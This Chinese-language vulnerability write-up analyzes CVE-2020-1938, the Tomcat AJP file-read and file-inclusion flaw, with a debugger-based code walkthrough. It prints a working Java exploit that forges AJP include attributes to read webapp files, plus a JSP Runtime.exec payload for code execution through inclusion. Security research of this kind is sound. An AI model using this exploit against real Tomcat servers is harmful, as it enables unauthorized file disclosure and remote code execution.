Tomcat-Ajp 协议漏洞分析(CVE-2020-1938)


Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。

漏洞影响

该漏洞可以用来读取或包含 Tomcat 上所有 webapp目录下的任意文件,文件包含漏洞影响以下版本:

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

环境搭建

测试版本8.5.16,用的mac下Mxsrvs自带的tomcat。
在/bin/catalina.sh文件头部里增加一行,设置调试端口:

1
export JPDA_ADDRESS=9901

-w783

再修改一下startup.sh的最后一行:

1
2
#exec "$PRGDIR"/"$EXECUTABLE" start "$@"
exec "$PRGDIR"/"$EXECUTABLE" jpda start "$@"

Idea里配置一下
-w978

漏洞复现

EXP: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
-w702

漏洞分析

本地测试8.5.16版本,tomcat默认开启三个端口:
-w751
在/conf/server.xml中配置:
-w774
-w480
-w805

Tomcat服务器通过Connector连接器组件与客户程序建立连接,connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。

在上图的配置中有两个connect,即8080端口对应着Http Connector,使用http(HTTP/1.1)协议;8009使用的AJP Connector,使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。更详细的介绍可以参考一下AJP协议的官方文档:The Apache Tomcat Connectors - AJP Protocol Reference

Web客户访问的两种方式:

代码分析

配置idea的时候先下个源码:https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-coyote/8.5.16/tomcat-coyote-8.5.16-sources.jar

tomcat-coyote.jar!/org/apache/coyote/ajp/AjpProcessor.class#prepareRequest
-w1008
在AJP协议的请求结构中有这样一个字段属性attributes
-w1014
对应上文代码中switch case中的匹配项,跟进Constants.SC_A_REQ_ATTRIBUTE:/org/apache/coyote/ajp/Constants.java
-w1020
这里定义了所有属性,Constants.SC_A_REQ_ATTRIBUTE这个case在文档中对应req_attribute属性,意思是说,如果要发超出上述基础属性以外的值,都可以通过req_attribute(0X0A)来设置其属性名和值来发送。
-w1490
不难理解,也就对应着这里的处理逻辑,如果是在上述之外属性,则允许我们自定义:
-w977

这里其实就是允许我们设置Request对象的attribute属性。在下文中会提到的几个属性可以被设置:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

封装完request对象后,继续处理Servlet的映射流程
-w1431

任意文件读取

当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,/org/apache/catalina/servlets/DefaultServlet.class
-w1459
跟进getRelativePath函数,当request属性中javax.servlet.include.request_uri不为空,则取出另外两个javax.servlet.include.path_infojavax.servlet.include.servlet_path属性,最后加到result里返回:
-w1133

然后将结果带入this.resources.getResource函数:
-w1584
然后一直跟进,直到调用this.cache.getResource函数读取资源:
-w1651

读取到/WEB-INF/web.xml文件:
-w1139

任意文件包含

当url请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件。
-w1253

随便包含一个上传的文件:
upload

1
2
3
4
5
<%@ page language="java" import="java.lang.*" contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"%>
<%
Runtime.getRuntime().exec("open -a Calculator");
%>

-w1377

EXP

ajp协议的通信客户端demo: https://github.com/kohsuke/ajp-client

这里贴一个threedr3am师傅的EXP: https://github.com/threedr3am/learnjavabug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class FileRead {

public static void main(String[] args) throws IOException {
SimpleAjpClient ac = new SimpleAjpClient();
String host = "localhost";
int port = 8009;
String uri = "/xxxxxxxxxxxxxxxest.xxx";
String file = "/index.jsp";
if (args.length == 4) {
host = args[0];
port = Integer.parseInt(args[1]);
uri = args[2].equalsIgnoreCase("file") ? uri : "/xxxxxxxxxxxxxxxest.jsp";
file = args[3];
}
ac.connect(host, port);

// create a message that indicates the beginning of the request
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
forwardMessage.addAttribute("javax.servlet.include.path_info", file);
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
forwardMessage.end();
ac.sendMessage(forwardMessage);
while (true) {
byte[] responseBody = ac.readMessage();
if (responseBody == null || responseBody.length == 0)
break;
System.out.print(new String(responseBody));
}
ac.disconnect();
}
}

比较简单,没啥好说的,指定路由为jsp的时候走org.apache.jasper.servlet.JspServlet处理,其他则走/org/apache/catalina/servlets/DefaultServlet默认处理。

最后

洞挺牛逼的,虽然不能直接命令执行,本地的mxsrvs启动tomcat的时候默认启动8009,但是实测了一些真实环境的,独立部署的时候大都没有ajp这个端口,或许在负载均衡反代的场景比较多?

参考文章